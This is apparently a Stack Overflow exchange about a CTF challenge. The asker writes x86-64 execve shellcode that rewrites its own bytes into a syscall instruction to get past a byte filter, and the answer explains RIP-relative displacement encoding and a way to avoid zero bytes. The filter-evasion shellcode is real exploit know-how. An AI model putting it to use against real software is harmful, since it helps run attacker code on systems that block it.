2
votes

I'm doing some sort of CTF challenges and i have a program that checks the buffer the user input is passed to byte by byte exiting if if there's a syscall, sysenter or int 80 instructions in there.

What i'm trying to do is write a shellcode that modifies the second byte of the syscall instruction to the valid one. That is, the last two bytes of the input are \x0f\x01 and i want the shellcode itself to overwrite this to \x0f\x05 (syscall).

So the last few instructions of the original shellcode look like this:

  ....
  21:   31 c0                   xor    %eax,%eax
  23:   88 47 07                mov    %al,0x7(%rdi)
  26:   48 89 7f 08             mov    %rdi,0x8(%rdi)
  2a:   48 89 47 10             mov    %rax,0x10(%rdi)
  2e:   48 8d 77 08             lea    0x8(%rdi),%rsi
  32:   48 89 c2                mov    %rax,%rdx
  35:   b0 3b                   mov    $0x3b,%al
  37:   0f 05                   syscall

and with the two extra instructions to rewrite the syscall:

  ...
  37:   b1 05                   mov    $0x5,%cl
  39:   88 0d 01 00 00 00       mov    %cl,0x1(%rip) 
  3f:   0f 05                   syscall

However, i see that 39 is encoded with some trailing zeroes, whereas 23 for example which is similar but the location is relative to rdi instead of rip, is not.

So my question is, does that look alright? And if so why are there trailing zeroes in the case of rip. Is it some rip-relative addressing specific thing that for example 4 bytes must follow?

1
Adding to Jester answer.. you can also jump forward (behind the future syscall position), do the modification backward (-something(%rip)) and jump back to newly formed syscall. I was even worried that self-modifying instruction right ahead may slip under some cache, but the x86 is designed to catch this and should invalidate all the cache lines and prefetch buffers and re-read everything to be executed (causing only brutal performance penalty, but working as expected by programmer). That's avoiding zero byte by positioning code. Jester's strategy is to use arithmetic not involving zeroesPed7g

1 Answers

3
votes

Is it some rip-relative addressing specific thing that for example 4 bytes must follow?

Yes. If you look in the Instruction Set Reference, section 2.2.1.6 RIP-Relative Addressing you will see that the only option is RIP + disp32 meaning 32 bit displacement. If you need to avoid zero bytes, you have to do it differently. A possible workaround is to do something like:

lea -1(%rip), %rax # -1 is needed to avoid zero bytes
movb $5, XX(%rax)  # with appropriate value of `XX`